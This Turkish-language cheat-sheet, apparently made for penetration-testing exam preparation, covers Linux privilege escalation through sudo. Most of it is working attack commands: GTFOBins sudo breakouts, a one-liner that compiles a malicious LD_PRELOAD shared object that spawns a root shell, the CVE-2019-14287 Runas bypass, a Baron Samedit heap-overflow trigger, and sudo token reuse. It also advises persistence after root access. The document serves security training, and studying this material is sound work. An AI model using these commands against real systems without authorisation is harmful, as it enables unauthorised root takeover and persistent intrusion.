FOOTHOLD Metodoloji Cheat-sheet
PrivEsc ✓ EXAM-SAFE kolay

Sudo İstismarı (sudo -l, NOPASSWD, GTFOBins, LD_PRELOAD, sudo token, CVE)

sudo -l ile çalıştırabileceğin komutları say; NOPASSWD/ALL girdileri, GTFOBins sudo breakout'ları, env_keep ile LD_PRELOAD/LD_LIBRARY_PATH enjeksiyonu, sudo token çalma ve Baron Samedit (CVE-2021-3156) / Runas ALL bypass (CVE-2019-14287) gibi bilinen sudo zafiyetleri ile root'a yüksel.

Bilgi: ÖN KOŞULLAR
  • Bir kullanıcı shell'i (foothold) ve mümkünse o kullanıcının parolası
  • Hedefte sudo binary'sinin kurulu olması
  • TTY (sudo çoğu zaman gerçek bir terminal ister; python pty ile shell upgrade yapılmış olmalı)
┌──

Komutlar

sudo ✓ EXAM-SAFE user
sudo -l
Mevcut kullanıcının parola ile/parolasız çalıştırabileceği komutları, env ayarlarını ve Runas kullanıcılarını listeler. PrivEsc'in ilk adımı. HackTricks — Linux Privilege Escalation (Sudo)
sudo ✓ EXAM-SAFE user
sudo -ln
Non-interaktif (parola istemeden) sudo girdilerini listeler; sadece NOPASSWD ile izin verilenleri verir, parola yoksa ideal. sudo(8) man page
sudo ✓ EXAM-SAFE user
sudo -V | head -1
Sudo sürümünü çıkarır — CVE-2021-3156 (Baron Samedit, <1.9.5p2) ve CVE-2019-18634 (pwfeedback) gibi sürüme bağlı exploit'ler için kritik. HackTricks — Linux Privilege Escalation (Sudo version)
sudo ✓ EXAM-SAFE user
sudo /bin/bash -p
sudo -l 'ALL : ALL' veya (ALL) NOPASSWD: ALL gösteriyorsa direkt root shell. -p mevcut shell'i korur. GTFOBins: bash (sudo)
sudo ✓ EXAM-SAFE user
sudo -u root /usr/bin/find . -exec /bin/sh \; -quit
find GTFOBins sudo breakout: -exec ile root shell. İzin verilen binary find ise. GTFOBins: find (sudo)
sudo ✓ EXAM-SAFE user
sudo /usr/bin/vim -c ':!/bin/sh'
vim/vi sudo breakout: editör içinden :! ile root komut çalıştır. less/more/man/awk/nano benzer mantıkla GTFOBins'ten alınır. GTFOBins: vim (sudo)
sudo ✓ EXAM-SAFE user
sudo /usr/bin/awk 'BEGIN {system("/bin/sh")}'
awk sudo breakout: BEGIN bloğunda system() ile root shell. GTFOBins: awk (sudo)
sudo ✓ EXAM-SAFE user
sudo /usr/bin/python3 -c 'import os; os.system("/bin/bash")'
python/perl/ruby/php sudo breakout: yorumlayıcıdan os.system ile root shell. En sık görülen GTFOBins kalıbı. GTFOBins: python (sudo)
ld_preload ✓ EXAM-SAFE user
printf '#include <stdlib.h>\n#include <unistd.h>\n#include <stdio.h>\nvoid _init(){unsetenv("LD_PRELOAD");setgid(0);setuid(0);system("/bin/bash -p");}' > /tmp/shell.c && gcc -fPIC -shared -nostartfiles -o /tmp/shell.so /tmp/shell.c
LD_PRELOAD payload derle. sudo -l çıktısında 'env_keep+=LD_PRELOAD' varsa kullanılır. HackTricks — Linux Privilege Escalation (LD_PRELOAD)
sudo ✓ EXAM-SAFE user
sudo LD_PRELOAD=/tmp/shell.so /usr/sbin/apache2
env_keep+=LD_PRELOAD aktifse, izin verilen herhangi bir binary (apache2/find/vb.) çağrılırken kötü amaçlı .so yüklenir → root shell. HackTricks — Linux Privilege Escalation (LD_PRELOAD via env_keep)
ld_library_path ✓ EXAM-SAFE user
sudo LD_LIBRARY_PATH=/tmp /usr/sbin/somebinary
env_keep+=LD_LIBRARY_PATH varsa, binary'nin yüklediği bir kütüphanenin (örn. libcrypt) sahte sürümünü /tmp'ye koyup _init ile root kodu çalıştır. HackTricks — Linux Privilege Escalation (LD_LIBRARY_PATH)
sudo ✓ EXAM-SAFE user
sudo -u#-1 /usr/bin/id
CVE-2019-14287: sudoers '(ALL, !root)' kuralında Runas bypass. -u#-1 (veya -u#4294967295) UID -1 → 0'a sarar, root olarak çalışır. sudo <1.8.28. HackTricks — Sudo Runas bypass (CVE-2019-14287)
sudo ⚠ RESTRICTED user
sudoedit -s '\' $(python3 -c 'print("A"*1000)')
CVE-2021-3156 (Baron Samedit) heap overflow tetikleyici PoC — gerçek exploit için Blasty/worawit PoC derlenir. sudo <1.9.5p2. Qualys — Baron Samedit (CVE-2021-3156)
pspy ✓ EXAM-SAFE user
./pspy64 -pf -i 1000
Sudo token çalma öncesi: aynı kullanıcının başka bir terminalde son 15 dk içinde sudo çalıştırıp çalıştırmadığını/aktif token olup olmadığını süreç izleyerek anla. HackTricks — Sudo token reuse (DG-c0der)

Genel Bakış

Linux PrivEsc’te sudo en kârlı ilk duraktır. Bir foothold shell’i aldığında ilk komutun her zaman sudo -l olmalı: bu çıktı, parola istemeden mi (NOPASSWD) yoksa parola ile mi komut çalıştırabildiğini, hangi kullanıcı olarak (Runas), hangi binary’lerle ve hangi env_keep ayarlarıyla çalıştığını gösterir. sudo -l parolasız çalışıyorsa zaten kazanmaya yakınsın; parola gerekiyorsa ama kullanıcının parolasını biliyorsun, yine de tüm yollar açık.

Enumeration

Önce kapsamı çıkar:

  • sudo -l → tam liste. (ALL : ALL) ALL, (root) NOPASSWD: /path/bin gibi satırları oku.
  • sudo -V | head -1 ile sürümü al — Baron Samedit (CVE-2021-3156, <1.9.5p2) ve pwfeedback (CVE-2019-18634) sürüme bağlıdır.
  • /etc/sudoers ve /etc/sudoers.d/* okunabiliyorsa (nadiren) doğrudan kuralları gör.

Çıktıda dikkat edilecek anahtarlar: NOPASSWD:, SETENV:, env_keep+=LD_PRELOAD, env_keep+=LD_LIBRARY_PATH, (ALL, !root) (Runas bypass adayı), tek tek izin verilmiş yorumlayıcı/editör/arşiv binary’leri (GTFOBins adayları).

Exploitation Yolları

1. NOPASSWD: ALL / ALL: ALL

sudo -l (ALL) ALL veya (ALL) NOPASSWD: ALL gösteriyorsa en basit yol sudo /bin/bash -p. -p mevcut ortamı korur; bazı durumlarda sudo su - daha temizdir.

2. GTFOBins sudo breakout

İzin verilen binary tam yol ile belirli bir komutsa (örn. (root) /usr/bin/find), o binary’nin GTFOBins’teki sudo bölümüne bak. find/vim/less/awk/python/perl/tar/zip/nmap gibi onlarca binary root shell’e açar. Mantık her zaman aynı: binary içinden bir alt-kabuk veya komut çalıştırma primitifi (-exec, :!, system(), --checkpoint-action) tetiklemek. Detaylı metodoloji için lnx-gtfobins sayfasına bak.

3. env_keep ile LD_PRELOAD

sudo -l çıktısında env_keep+=LD_PRELOAD görürsen, sudo bu değişkeni alt sürece taşır. _init() içinde setuid(0) + system() çağıran küçük bir .so derle, sonra izin verilen herhangi bir binary’i sudo LD_PRELOAD=/tmp/shell.so <binary> ile çağır — kütüphane root yetkisiyle yüklenir. LD_LIBRARY_PATH korunuyorsa, binary’nin gerçekten yüklediği bir kütüphanenin sahte sürümünü hazırlaman gerekir (hangi kütüphane olduğunu ldd ile bul). .so içinde unsetenv("LD_PRELOAD") koymayı unutma, aksi halde alt-shell de aynı payload’ı yükleyip döngüye girer.

4. Runas bypass — CVE-2019-14287

Kural (ALL, !root) /bin/bash gibi “root hariç herkes” diyorsa, sudo -u#-1 ile UID -1 verirsin; sudo bunu 0’a çevirir ve !root filtresi atlanır. sudo <1.8.28 için geçerli.

5. Baron Samedit — CVE-2021-3156

sudo <1.9.5p2’de sudoedit -s ile tetiklenen heap overflow herkesin (sudoers’ta olmayan kullanıcılar dahil) root almasını sağlar. Tetikleyici PoC sudoedit -s '\' $(perl -e 'print "A"x1000') segfault verirse savunmasızdır. Gerçek root için Blasty veya worawit’in derlenebilir PoC’unu kullanırsın — bu otomatik bellek-bozma exploiti olduğu için examSafety açısından restricted kabul et.

6. Sudo token çalma

Kullanıcı son ~15 dakikada başka bir terminalde sudo çalıştırdıysa, /var/run/sudo/ts/<user> altında geçerli bir token kalır ve ptrace ile o terminalin sudo token’ı yeniden kullanılabilir. Önkoşul: kernel.yama.ptrace_scope = 0 ve aynı kullanıcının aktif bir sudo oturumu. pspy ile başka terminallerdeki sudo süreçlerini izleyip fırsatı yakalarsın.

Notlar ve Tuzaklar

  • sudo genellikle gerçek bir TTY ister; ilk iş ters kabuğunu python3 -c 'import pty;pty.spawn("/bin/bash")' ile yükselt (bkz. lnx-shell-upgrade).
  • pwfeedback (CVE-2019-18634) sudoers’ta Defaults pwfeedback açıksa geçerlidir; çıktıda yıldız (*) gösteriyorsa adaydır.
  • Wildcard veya yazılabilir script çağıran sudo girdilerinde, script’in kendisini değiştirmek (PATH/writable) çoğu zaman binary-breakout’tan daha kolaydır.
  • root shell aldıktan sonra id ile doğrula; gerekiyorsa /etc/sudoers veya SSH anahtarı ile kalıcılık (post-exploitation) düşün.
┌──

Kaynaklar

0/15 set